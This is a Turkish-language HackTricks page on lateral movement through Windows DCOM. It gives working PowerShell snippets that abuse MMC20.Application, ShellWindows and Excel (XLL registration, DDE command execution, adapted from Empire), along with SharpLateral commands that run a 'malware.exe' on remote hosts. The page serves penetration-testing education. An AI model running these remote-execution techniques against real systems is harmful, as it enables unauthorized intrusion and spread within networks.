hacktricks/windows-hardening/lateral-movement/dcom-exec.md
2024-02-10 18:14:16 +00:00

10 KiB
Raw Blame History

DCOM Exec

AWS hackleme becerilerini sıfırdan ileri seviyeye öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'a katılın!

En önemli güvenlik açıklarını bulun ve daha hızlı düzeltebilin. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MMC20.Application

Bu teknik hakkında daha fazla bilgi için https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ adresindeki orijinal yazıyı kontrol edin.

Dağıtılmış Bileşen Nesne Modeli (DCOM) nesneleri, ağ tabanlı nesnelerle etkileşim için ilginç bir yetenek sunar. Microsoft, DCOM ve Bileşen Nesne Modeli (COM) için kapsamlı belgelendirme sağlar, DCOM için buraya ve COM için buraya erişilebilir. Bir DCOM uygulamasının listesi, PowerShell komutu kullanılarak alınabilir:

Get-CimInstance Win32_DCOMApplication

COM nesnesi, MMC Uygulama Sınıfı (MMC20.Application) MMC eklenti işlemlerinin betikleştirilmesini sağlar. Özellikle, bu nesne Document.ActiveView altında ExecuteShellCommand yöntemini içerir. Bu yöntem hakkında daha fazla bilgi burada bulunabilir. Çalıştırmak için kontrol edin:

Bu özellik, bir DCOM uygulaması aracılığıyla ağ üzerinde komutların yürütülmesini kolaylaştırır. Uzaktan yönetici olarak DCOM ile etkileşim kurmak için PowerShell aşağıdaki gibi kullanılabilir:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Bu komut, DCOM uygulamasına bağlanır ve COM nesnesinin bir örneğini döndürür. Ardından ExecuteShellCommand yöntemi çağrılarak uzak makinede bir işlem yürütülür. İşlem aşağıdaki adımları içerir:

Yöntemleri kontrol et:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

RCE Elde Et:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows ve ShellBrowserWindow

Bu teknik hakkında daha fazla bilgi için orijinal yazıya https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ bakabilirsiniz.

MMC20.Application nesnesinin, "LaunchPermissions" açık izinlere sahip olmadığı belirlendi ve varsayılan olarak Yöneticilere erişim izni verildi. Daha fazla ayrıntı için buradaki bir konu incelenebilir ve @tiraniddo'nun OleView .NET'inin, açık Launch Permission olmayan nesneleri filtrelemek için kullanılması önerilir.

ShellBrowserWindow ve ShellWindows adlı iki özel nesne, açık Launch Permission olmaması nedeniyle vurgulandı. HKCR:\AppID\{guid} altında LaunchPermission kayıt girişinin olmaması, açık izinlerin olmadığını gösterir.

ShellWindows

ProgID olmayan ShellWindows için, .NET yöntemleri Type.GetTypeFromCLSID ve Activator.CreateInstance, AppID kullanarak nesne örnekleme işlemini kolaylaştırır. Bu işlem, OleView .NET'in kullanılmasıyla ShellWindows için CLSID'nin alınmasını sağlar. Bir kez örneklendirildikten sonra, etkileşim WindowsShell.Item yöntemi aracılığıyla mümkün olur ve Document.Application.ShellExecute gibi yöntem çağrılarına yol açar.

Uzaktan nesne örnekleme ve komutları çalıştırma için örnek PowerShell komutları sağlandı:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Excel DCOM Nesneleri ile Yanal Hareket

Yanal hareket, DCOM Excel nesnelerini istismar ederek elde edilebilir. Detaylı bilgi için, DCOM üzerinden yanal hareket için Excel DDE'nin kullanılması hakkındaki tartışmayı Cybereason'un blogunda okumanız önerilir.

Empire projesi, Excel'in DCOM nesnelerini manipüle ederek uzaktan kod yürütme (RCE) için kullanımını gösteren bir PowerShell betiği sağlar. Aşağıda, Excel'i RCE için istismar etmek için farklı yöntemleri sergileyen Empire'in GitHub deposundan alınan betik parçaları bulunmaktadır:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Yana Yayılma için Otomasyon Araçları

Bu teknikleri otomatikleştirmek için iki araç öne çıkıyor:

  • Invoke-DCOM.ps1: Empire projesi tarafından sağlanan bir PowerShell betiği, uzak makinelerde kodu yürütmek için farklı yöntemlerin çağrılmasını basitleştirir. Bu betik, Empire GitHub deposunda erişilebilir.

  • SharpLateral: Uzaktan kod yürütmek için tasarlanmış bir araçtır ve aşağıdaki komutla kullanılabilir:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Otomatik Araçlar

  • Powershell betiği Invoke-DCOM.ps1, diğer makinelerde kodu yürütmek için yorumlanmış tüm yöntemleri kolayca çağırmaya olanak sağlar.
  • Ayrıca SharpLateral kullanabilirsiniz:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Referanslar

En önemli güvenlik açıklarını bulun, böylece daha hızlı düzeltebilirsiniz. Intruder saldırı yüzeyinizi takip eder, proaktif tehdit taramaları yapar, API'lerden web uygulamalarına ve bulut sistemlerine kadar tüm teknoloji yığınınızda sorunları bulur. Ücretsiz deneyin bugün.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları: